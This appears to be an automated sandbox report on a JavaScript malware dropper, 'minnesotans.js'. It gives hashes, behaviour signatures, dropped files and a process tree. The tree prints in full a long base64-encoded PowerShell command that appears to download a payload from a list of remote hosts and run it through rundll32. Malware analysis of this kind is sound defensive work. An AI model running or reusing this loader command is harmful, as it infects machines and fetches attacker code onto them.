Analysis

  • max time kernel
    137s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/05/2023, 06:46

General

  • Target

    minnesotans.js

  • Size

    279KB

  • MD5

    55b6519fc314dce39daef84bee46e367

  • SHA1

    5e791803cf28d4e46722232312b185a4bcbaf0df

  • SHA256

    59fc0678c8b19288b2dd685052b3b22c84769ecd6c6d383fb2475b2492758858

  • SHA512

    1b7ba94427d0e139297ac4b4c2fbe7e672ca46c17c8440ba799036055c5ecc7c2270cbe94789978dbc61e601f5d26f82aa4b96c86ecc181e37afeede1a441b96

  • SSDEEP

    3072:Tivg2Y3lixDfYMvf0ZG7wzO6aKI6AW2+QMcLeAgwNNrxgzq:IClixDfbvfUGEzO6R8F+QNx3Kzq

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\minnesotans.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:432
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\ProgramData\variolosser.js" Reconduct wowing TransculturallyCelticism DittologyCharbroiled
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABBAG4AdABpAGQAbwB0AGkAbgBnAFMAYwBhAHIAZQBtAG8AbgBnAGUAcgBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAEkAQQBNAGcAQQB5AEEAQwA0AEEATwBBAEEAdwBBAEMANABBAE8AQQBBAHoAQQBBAD0APQB6AGEAdABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQAyAEEAQwA0AEEATQBRAEEANQBBAEQARQBBAEwAZwBBAHkAQQBEAE0AQQBOAEEAQQB1AEEARABFAEEATQBBAEEAMABBAEEAPQA9ACIAOwAkAFMAdQBiAGkAbgBjAGkAcwBpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE0AQQBBAHUAQQBEAEUAQQBOAFEAQQAzAEEAQwA0AEEATQBnAEEAeABBAEQAWQBBAEwAZwBBADEAQQBEAGsAQQBIAFIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEASABnAEEAYgB3AEIAagBBAEcAOABBAFoAUQBCAHMAQQBHAFUAQQBMAGcAQgAwAEEASABZAEEAIgA7ACQAdQBuAHAAcgBlAHYAZQBuAHQAZQBkAEEAdABhAHgAaQB0AGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADEAQQBEAFEAQQBMAGcAQQB5AEEARABNAEEATgBnAEEAdQBBAEQASQBBAE0AZwBBADMAQQBDADQAQQBNAFEAQQB4AEEARABBAEEATAB3AEIAMABBAEYAUQBBAFcAQQBCAFUAQQBDADgAQQBlAFEAQgB5AEEAQQA9AD0AYQBvAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AZwBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAUQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB2AEEARgBRAEEATgBnAEIAWQBBAEMAOABBAFkAUQBBAD0AYQBvAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE8AUQBBAHUAQQBEAEUAQQBOAFEAQQAwAEEAQwA0AEEATQBRAEEAMQBBAEQAawBBAEwAZwBBADUAQQBEAGcAQQBMAHcAQgBRAEEASABBAEEAVgBRAEIAWgBBAEYAZwBBAEwAdwBCAE0AQQBGAFUAQQBOAGcAQgBoAEEASABFAEEAYQBvAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBnAEEAegBBAEMANABBAE4AZwBBAHgAQQBDADgAQQBPAFEAQgBoAEEARABZAEEATgB3AEIAdwBBAEcAVQBBAGMAdwBBAHYAQQBFAG8AQQBjAFEAQgB4AEEARwA4AEEAVQBRAEIAYQBBAEUAWQBBAGEAbwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARwB3AEEAUgBRAEEAegBBAEYAYwBBAFEAZwBBADAAQQBIAGsAQQBlAEEAQgBqAEEARwBJAEEATgBnAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABkAGUAdgBlAGwAbwBwAG8AaQBkACAAaQBuACAAJAB1AG4AcAByAGUAdgBlAG4AdABlAGQAQQB0AGEAeABpAHQAZQAgAC0AcwBwAGwAaQB0ACAAIgBhAG8AIgApACAAewB0AHIAeQAgAHsAJABoAGUAaQBnAGgAdABlAG4ARwBhAGkAbgBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHcAQQBHADgAQQBjAHcAQgAwAEEARwBNAEEAYgB3AEIAdQBBAEcATQBBAFoAUQBCAHcAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAZwBCADAAQQBIAEkAQQBZAFEAQgBqAEEASABRAEEAYgB3AEIAeQBBAEgATQBBAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBVAEEAYgBBAEIAbABBAEcATQBBAGQAQQBCAHkAQQBHADgAQQBjAEEAQgA1AEEASABJAEEAYgB3AEIAdABBAEcAVQBBAGQAQQBCAGwAQQBIAEkAQQBMAGcAQgBpAEEARwBFAEEAYgBnAEIAawBBAEEAPQA9AFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB2AEEASABZAEEAWgBRAEIAeQBBAEcAZwBBAFoAUQBCAHMAQQBIAEEAQQBaAGcAQgAxAEEARwB3AEEAYgBBAEIANQBBAEMANABBAFoAdwBCADEAQQBIAEkAQQBkAFEAQQA9ACIAOwAkAGMAbABhAHMAcwB3AGkAcwBlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGQAZQB2AGUAbABvAHAAbwBpAGQAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABjAGwAYQBzAHMAdwBpAHMAZQAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABkAGUAdgBpAHQAYQBsAGkAegBhAHQAaQBvAG4ALgBlAHgAYwBsAHUAcwBpAHYAZQBuAGUAcwBzAFcAZQB0AHUAbQBwAGsAYQA7ACQATQBpAGMAcgBvAGcAcgBhAHYAZQByACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEARwBFAEEAYwB3AEIAegBBAEcASQBBAGIAdwBCAHYAQQBHAHMAQQBSAGcAQgBwAEEARwBVAEEAYwBnAEIAagBBAEcAVQBBAGIAZwBCAGwAQQBIAE0AQQBjAHcAQQB1AEEARwA4AEEAYwBnAEEAPQB6AFoAUwBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAZwBBAE0AUQBBAHUAQQBEAEkAQQBOAEEAQQAxAEEAQwA0AEEATQBnAEEAMQBBAEQARQBBAEwAZwBBADAAQQBEAEkAQQAiADsAJABvAHYAZQByAGMAYQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBOAEEAQQB1AEEARABFAEEATwBRAEEAMwBBAEMANABBAE0AUQBBAHkAQQBEAFEAQQBMAGcAQQB4AEEARABRAEEATQBnAEEAPQBHAEMAWgBYAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AQQBBADIAQQBDADQAQQBNAGcAQQB5AEEARABBAEEATABnAEEAeABBAEQATQBBAE8AQQBBAHUAQQBEAFkAQQBPAFEAQQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGQAZQB2AGkAdABhAGwAaQB6AGEAdABpAG8AbgAuAGUAeABjAGwAdQBzAGkAdgBlAG4AZQBzAHMAVwBlAHQAdQBtAHAAawBhACkALgBMAGUAbgBnAHQAaAAgAC0AZwBlACAAMgAzADQAMwAyADYAKQB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAQQBBAGMAZwBCAHYAQQBHAGMAQQBjAGcAQgBoAEEARwAwAEEAUgBBAEIAaABBAEgAUQBBAFkAUQBCAGMAQQBHAFEAQQBaAFEAQgAyAEEARwBrAEEAZABBAEIAaABBAEcAdwBBAGEAUQBCADYAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEcAVQBBAGUAQQBCAGoAQQBHAHcAQQBkAFEAQgB6AEEARwBrAEEAZABnAEIAbABBAEcANABBAFoAUQBCAHoAQQBIAE0AQQBWAHcAQgBsAEEASABRAEEAZABRAEIAdABBAEgAQQBBAGEAdwBCAGgAQQBDAHcAQQBZAGcAQgBwAEEARwA0AEEAWgBBAEEANwBBAEEAPQA9ACIAOwAkAFMAYwByAHUAYgBnAHIAYQBzAHMATQB5AG8AZwByAGEAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAFoAZwBCAHAAQQBIAEkAQQBiAFEAQgBsAEEARwBRAEEATABnAEIAcwBBAEcAawBBAGIAZwBCAHIAQQBBAD0APQAiADsAJABDAHkAdABvAGIAbABhAHMAdABlAG0AbwB1AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAFEAQQB3AEEAQwA0AEEATQBRAEEAMQBBAEQATQBBAEwAZwBBAHkAQQBEAFEAQQBOAGcAQQB1AEEARABJAEEATgBBAEEANQBBAEEAPQA9AEkATQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAHcAQQBIAE0AQQBiAHcAQgB5AEEARwA4AEEAYwB3AEIAdwBBAEcAVQBBAGMAZwBCAHQAQQBDADQAQQBaAEEAQgAxAEEASABJAEEAWQBnAEIAaABBAEcANABBAEkATQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHADgAQQBkAFEAQgB4AEEASABVAEEAWgBRAEIAMABBAEcAawBBAFoAUQBCAHkAQQBHAFUAQQBMAGcAQgBtAEEASABVAEEAZABBAEIAaQBBAEcAOABBAGIAQQBBAD0AIgA7ACQAdAByAHUAcwBzAGUAcgB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABVAEEAYgBnAEIAdwBBAEcAawBBAFoAUQBCAHkAQQBHAE0AQQBaAFEAQgBoAEEARwBJAEEAYgBBAEIAbABBAEMANABBAFoAdwBCAGgAQQBHADAAQQBaAFEAQgB6AEEAQQA9AD0AcwBDAFcAUwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBjAHcAQgBvAEEARwA4AEEAZAB3AEIAaABBAEcASQBBAGIAQQBCAGwAQQBFAEkAQQBZAFEAQgBqAEEARwBzAEEAZABBAEIAeQBBAEcARQBBAGEAUQBCAHMAQQBDADQAQQBZAHcAQgBzAEEARwBFAEEAYQBRAEIAdABBAEgATQBBACIAOwBiAHIAZQBhAGsAOwB9AH0AIABjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9AH0A"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2028

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\variolosser.js

          Filesize

          279KB

          MD5

          55b6519fc314dce39daef84bee46e367

          SHA1

          5e791803cf28d4e46722232312b185a4bcbaf0df

          SHA256

          59fc0678c8b19288b2dd685052b3b22c84769ecd6c6d383fb2475b2492758858

          SHA512

          1b7ba94427d0e139297ac4b4c2fbe7e672ca46c17c8440ba799036055c5ecc7c2270cbe94789978dbc61e601f5d26f82aa4b96c86ecc181e37afeede1a441b96

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hhbafmql.qq0.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2028-135-0x0000021551140000-0x0000021551162000-memory.dmp

          Filesize

          136KB

        • memory/2028-145-0x0000021551200000-0x0000021551210000-memory.dmp

          Filesize

          64KB

        • memory/2028-147-0x0000021551200000-0x0000021551210000-memory.dmp

          Filesize

          64KB

        • memory/2028-146-0x0000021551200000-0x0000021551210000-memory.dmp

          Filesize

          64KB

        • memory/2028-148-0x0000021551F70000-0x0000021552716000-memory.dmp

          Filesize

          7.6MB

        • memory/2028-150-0x0000021551200000-0x0000021551210000-memory.dmp

          Filesize

          64KB

        • memory/2028-151-0x0000021551200000-0x0000021551210000-memory.dmp

          Filesize

          64KB

        • memory/2028-152-0x0000021551200000-0x0000021551210000-memory.dmp

          Filesize

          64KB